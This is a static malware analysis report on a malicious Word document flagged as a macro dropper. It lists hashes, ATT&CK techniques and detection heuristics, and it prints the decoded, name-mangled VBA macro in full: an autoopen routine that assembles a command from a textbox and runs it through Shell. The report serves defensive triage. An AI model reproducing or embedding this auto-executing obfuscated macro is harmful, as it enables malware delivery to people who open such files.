Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9234763dd69f3924…

MALICIOUS

Office (OLE)

80.8 KB Created: 2018-12-13 17:18:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 23689a47723ba67cba18013f28044427 SHA-1: 19c9ecd3ff3473264241fb94693587d984a748d7 SHA-256: 9234763dd69f39246fb71cd409de812a1c31dc384eea689e03ae062dfa92e567
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample contains VBA macros with an autoopen subroutine that utilizes the Shell() function. This function is used to execute external commands, indicated by heuristics firing for cmd.exe and PowerShell. The ClamAV detection name 'Doc.Dropper.Valyria-6786368-0' suggests a dropper functionality, implying the macro's purpose is to download and execute a secondary payload.

Heuristics 10

  • ClamAV: Doc.Dropper.Valyria-6786368-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6786368-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
     _
.Shell(KtYibDBtM, tjvkwtTXUW), iUSwc)
   Set LNKkfbuIwvmiIEYLD = RarBNJlzTFIHoMqisWOsB
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
hfBNSWPs
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8564 bytes
SHA-256: 98d9c877b71a56b71f75935b03042d338d4c451864b954cf3cffd0f0e34601ee
Detection
ClamAV: No threats found
Obfuscation or payload: likely
238 of 273 identifiers look randomly generated (e.g. 'ViThGSPwrldMKjVcmPlWhija') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "TiRPGphXSiJjsk"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
hfBNSWPs
End Sub

Attribute VB_Name = "OOhkLcRLiN"
Function hfBNSWPs()
On Error Resume Next
   Set BRqzlLOwDAjRnFCDElNicG = bJvlAKvvbQNMtK
   Select Case pGUzYGjirbcCpmiMNuPO
      Case 261804665
         ZOlHFEBZtIsavGKciusfDK = IGJzDARdvqzjGOQAfdR
         TJOqXCkMVWImPqcBwGzZc = 205203632
         kvaEOStMClcEzrSaBPFIZhNQ = lODZfsFoMiuwzVubJ
      Case 42397184
         mldJifvJXWXCiJ = CByte(dDpnWtXPmNXdDtKjPbLdiH)
         ZtkiiRpbMnIsrlV = ChrW(IPWrwGBrPMqHbWfKVwQum)
         pzwlLqvBTvtqDOHQ = Log(SssSVbhApHwXsVb)
   End Select
   Set ZYcAlRUvsMcTisZVwnqp = WzrBKXCtoAihqXwEvTLMZXJ
   Select Case ckKzEFRPMlDZkwatS
      Case 14044208
         MulsUaQDUidVzq = ZaNEpiiSUFUZTwsStWTw
         qspWnBzljPEiHZAjNN = 138243627
         cRmABzHcMjwjtJjiXiCh = jlpPrLXsmjJwSsZFoVptU
      Case 165884727
         QYowqSIfKnsvjz = CByte(KlkjZCoibQJcjMMnQHkYr)
         NhadBwKZwsHDLD = ChrW(lzzcqNhjpZSwzcnv)
         uIYDJwBpXBUQUfBIifI = Log(wAofAlEiAKzJzjJDiGbDvm)
   End Select
   Set wtDnIDBBBZAKwSkzCmjQzLiA = wStYIHGWftlcpFkYTD
   Select Case zZKZAdrMMvwlODQJkHctRu
      Case 260893172
         ZwXMjwrfHqCzotsuQ = uaiIXZZwzRqKWDmtACGffPEQ
         YATUrPicWzMhRbznkwap = 319270447
         zLvtqolPiWSdwYFbIB = hADZLjaIrvTibhE
      Case 5672604
         YzYurGUqPncYhIn = CByte(jOTvlkJQftUKsqwuYzC)
         dOquiivwzjJmjFvS = ChrW(EWooIOzlKwZqiAjFcuRYY)
         CpNSvkhimudJTbOW = Log(zsIYkVFPiZhDLduMrT)
   End Select
   Set LzuZPRLrbQHfBiXEj = dGPsUztPObUOphowzrFE
   Select Case qErKmvjbRjDWSFQDSdu
      Case 213305627
         DkXMbarCfjzbCn = YihDNnwsQrWbYv
         NKYanUTzLVoZmDEvQSOf = 240899863
         qTMGrHUEwTGwSoDczhFkViYO = pMwGJJQvQTFNjcM
      Case 189658054
         WVSokPsnShZzbIu = CByte(zCuYwoJqCBUwPTEtIPLDwUEw)
         SrcqwpLKPiaREH = ChrW(LclivuYwcjrMzrBcwwTjw)
         zGMInzkibDHcrUjVAKttz = Log(EdOTNGcTkbldcfWm)
   End Select
Const tjvkwtTXUW = 0
   Set ivndosmnivwVZclqpdiGSX = klJAAFSClsrISEaKVQhw
   Select Case HuzRiqWWnUVKOCs
      Case 200527262
         mhQsKdhUSlPSMplbadqKjRP = jwYWwDChjiizjNzRRzQEGDai
         joZBUIURVLMFLVOjimiLm = 309701653
         fYsmBLodYumPPdjM = KhLBkMGbBUYQrSzobt
      Case 189246140
         WSGjinLZGwGBaMBEjLv = CByte(mKzqPMjbpaokDkzr)
         iTwBhVDOWqfRsEQwQpL = ChrW(PQVHjkfKWwqMJdFswK)
         pwbsWBJwWXlnvoY = Log(OzpRwpssYzSHPzYz)
   End Select
   Set tzavHBKRiJhCwAwtOomhjp = YJvtMfbvGSGziMvETE
   Select Case PHVtWRBzPJLrHDiClMIw
      Case 247700803
         NbjpAQjSkSdDaL = PZbKiMmvbzvDKK
         LFrLtuJhRlRwZsOEdTzWmjn = 22500939
         bjIpEMWIsGXLORIFsKZRPMC = vSkKnEfRoUSOBrMY
      Case 309579775
         hlqsOBrQuVOmbOdvumbLVn = CByte(GXtztEAwAWcfQWCDjTW)
         JDBtDkFwazjStKkV = ChrW(CwMtWNQzjNZsirswdS)
         VAvJwEYDmJlGlj = Log(hUKQmqluUXjDrFrUQriAU)
   End Select
   Set ickFAzsTSRvQJznqiJAvU = jhjmRCfqbXGnzBr
   Select Case wJCirWqMDGTXRiX
      Case 218108518
         YtDYNhpncpXJWAlwY = rsqPNrTjLjIYtAZY
         InhkbMqOjSDhGhYtWjo = 160153290
         jMFiWGiEwXjwZdL = aPjzBjYQBECkfWUlzScbbFF
      Case 43529561
         KjuTjhENBwQIYHzn = CByte(dRDuYaDwwGBjPUJZoqziwS)
         zXdZDcbLcomcoCRlJr = ChrW(laDimbHikQCJsKtGXv)
         zVWvYudsVWWFom = Log(hwusqwwtquaftSuwtpI)
   End Select
   Set zkPkGpXiijUaJLlkwicnKf = VXnsuCRlGFkcpOiZEFkmjoG
   Select Case zvsmdfqiRptMTwd
      Case 207018758
         uOUYiwWRJXhZtLjR = swJfIaPFLzUSFIcFYpalj
         zWVUIIFYiNvlDiVim = 263827574
         TXwBzDPFTUVGfBb = nKoSHAnVHWUEzjqDmjNuCUVQ
      Case 292820319
         mDIGQjbfiXwVwS = CByte(buciLHjdSUwohwSoXZENj)
         AGlcRBTEQiuKaath = ChrW(vCZqmRuujPjavuEAPuVzi)
         hKNEPuXWsuqsILJWOoriim = Log(iUopJLfXkwFUPchBAWMXo)
   End Select
   Set ZAzSzaHSpjjOVuUiwjSoVMUB = RKjUnmDIhSLcDSivKhqXWRDJ
   Select Case JzcLaMfzWhQYzB
      Case 303494989
         GocIGsRnsLfddZAGZTim = zGFffhlOXMjwrQcbAuR
         oTPhBTwjJwiXHFIiWcbKf = 169373502
         wzhmJXfZYMDmirYiLk = EYiIpmHuEXTGCO
      Case 326862846
         iUhnJdYFKDTirzwPa = CByte(UwPqrzBdaCEFBXjaqJd)
         vazdwlTdDHYDjbtAArdhlfDW = ChrW(FCvzQHpldjuwms)
         jYaTiBZZdfZwfwK = Log(XdcsiXfnAiRCvzDOz)
   End Select
KtYibDBtM = TiRPGphXSiJjsk.TextBox1 + pwJdpz + MzKXnNfM + vUjCMVRO + bmSBj + pVODfOaj + ojHEWPs + voSLj + skhkjrq + fbBEWZJn + JSChOzv
   Set wfIrKQMljFrXXPAPwi = PRhEiwTLXGIKuwURJriAmk
   Select Case SMIISiTmjNkXCPbdtrE
      Case 271324591
         YuwZDwqXUdBfsOsVpBdE = ZzKaRBiOkJhvtuRMjO
         cOOjjrKAjIDpbkLwzmwmw = 50436186
         kTTkwUaIFmtbELNa = GAzFjTGKivTalcnVFiQQH
      Case 79933029
         IzwDiJHnkLPfvIEDAMZQ = CByte(HiUJFGzhzKbuUrGiPYB)
         IjOWzrNBaPDiwHBRduc = ChrW(HGnBokbRwUkoYo)
         XTzLNtwGhGswMqoEV = Log(wTCwNhNQwDGfPJHrdzjiOJJA)
   End Select
   Set ADDMuvOSqbMlKLlo = WzbBIlVzFqLzICPbwCmO
   Select Case hFGbzpJwbSQDmNUlMrS
      Case 225805066
         pFDTiYwKOJwZDprU = IwLAdXuvWpvqjKUjMrA
         HRQNnMJRiiYcQm = 226719338
         WMLhIYLjAUiwitrzrQ = rfzMQOdRnRTZzczJz
      Case 213549154
         vjGhMThKmkrakzTrq = CByte(zuTiGXShuhWjkrRZVik)
         ktjDrjwqiZdkHkAlwRdiOfYA = ChrW(FAzJLikGsoGLPnZabwUDlZ)
         rfaEFCjFUiPljz = Log(XvtiOvtaiiDHmjDwCfAI)
   End Select
   Set JdrFiluUvKZtAcIMKVqm = NospDwjFrqGJwsRESlATlki
   Select Case sVlRtClHwhwpzQapNPET
      Case 122713304
         DkrHrkqTJdJPwiLPLoFzM = vcFCLKFWfLKIRAamK
         RdYTfjUrdwDPOT = 154597339
         oPCpYfNnzwFnRKpZdDhjqb = ViThGSPwrldMKjVcmPlWhija
      Case 127906618
         imKlnzMSjHFwGUh = CByte(OCnwipIbvUFFPq)
         sNzodlFzfzsDOW = ChrW(IQofQimVioijpTsGCqFMkJ)
         EPIFIwmmtEGLoRkaXGsS = Log(zCPdnspMIKEwlj)
   End Select
YiWsB = Array(fjHDpSPi, rqfFN, bVFzZluCN, Interaction _
 _
 _
 _
 _
 _
 _
 _
.Shell(KtYibDBtM, tjvkwtTXUW), iUSwc)
   Set LNKkfbuIwvmiIEYLD = RarBNJlzTFIHoMqisWOsB
   Select Case YzLiIahBzUTzfuZJAAzfIp
      Case 3325502
         HanZLBwKkcCrqiAKSRFoopj = JjWNtVhiwUbinIpwXIPDrhTW
         oNqjMCRtqQciiR = 96031725
         TtVCSXKbHQfadEbPANFHqwm = JpwrNTprAIYowThRD
      Case 95094048
         vXrPloMiULGDUGCsdaSO = CByte(boZUjnRjfnEcWrvSZLCAoU)
         tEDhvaErkzoUiRvFBuwo = ChrW(CbwPHaEOPNzHIjPdFWF)
         vTchWMAdGAFqfHrdESn = Log(AcUmpNalfbwYsN)
   End Select
   Set DJpnmJjIZiJKciKaLJWfIkM = iAzsMLYNSFausKiVZWOriQw
   Select Case vDUbBRlSzzImJrvNKwsXDQ
      Case 224873300
         iBGlWVJOCKzIqw = AUIzuBsLiaBjlYal
         VTwAKzwboujztnWNlrDv = 123766945
         zlpYLUoXpbYRmWzKpULVFG = MomiSAjXqMhUKKmn
      Case 184344633
         REHbbAzNaBijziscdkYpVX = CByte(DhFFCpADhjinBCl)
         mfEZfpGPzbijCPmR = ChrW(vDtWvzYazBAPurasYmKQzdO)
         qFaGTBSzQtGwrprijzh = Log(GAEkIoidbAwSpSjpWRGwjD)
   End Select
   Set SDBSFfWPmAbjwY = pZpsZnLCrXOUzn
   Select Case ppCDftiLQkKaELdBGBbVQAM
      Case 161658620
         HBJuqKWcsKlhttHGO = HPNGqNWISYRdoddnXrZ
         ZZnwMBsTMIUPCbFJC = 8400893
         vYiswKOVIEFVPhwz = bPtpVDvJDCbNXUkWhirrh
      Case 272963069
         wfjPGnFhDcXimHUZUniuHn = CByte(kkUzhDGHzlcvKmo)
         WwUXkAlwOMEWDzufKWwilo = ChrW(izUYwKLKnjwLvnPYkw)
         kUwjEAqwlonJCibqZQ = Log(pnDCQqEnzsuwOjODCfO)
   End Select
   Set LMVcpcOiLDXzfw = zfWVRmZwGzsLiHjsJWkhmfF
   Select Case GZGjGszpawiHJYDOmPP
      Case 187732271
         RjabKOduQHRazOrfqqNCCkid = jkSWvXQccpqjHwiTuJoM
         MJMiwZCaujBwzadLYVkB = 326404663
         ZBziuiiIauQvXaFnzw = ChIpjIVAIWoDLiqk
      Case 76083725
         NfTrmGGjDDDFkVmnuoQMP = CByte(ZiallrEMjquElSuLuCi)
         ERzDlSRYoCTzTn = ChrW(lQBUPbqWMKfkTtj)
         OdMWHlXzTajYiWulwMIutiT = Log(OuksGiziFJFWGQwAtBA)
   End Select
   Set TbZuhiCwScZsPWGKUSnz = SrbGWzARtaSOjvQLLVTBCNK
   Select Case pjurLvfCqoAkwnLiCi
      Case 164633403
         HijapzJzUwoFjF = mFJGwuPXsufMXJlwY
         IOLATBLliiuAvDsXZcsXaH = 294470251
         qjJnlnizPQYrFlm = vMLjdrwcTAkIFAO
      Case 7262653
         EJnrYAvAwkffBRnqkc = CByte(vMdzhhTkDarPCXWA)
         zQXMQfjGTwSiwRUXAFI = ChrW(KFJEPrZEUcIfRLrUEBi)
         wsNkBCGIXsBRNYRtGSwZ = Log(cmronRlZASwabfS)
   End Select
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.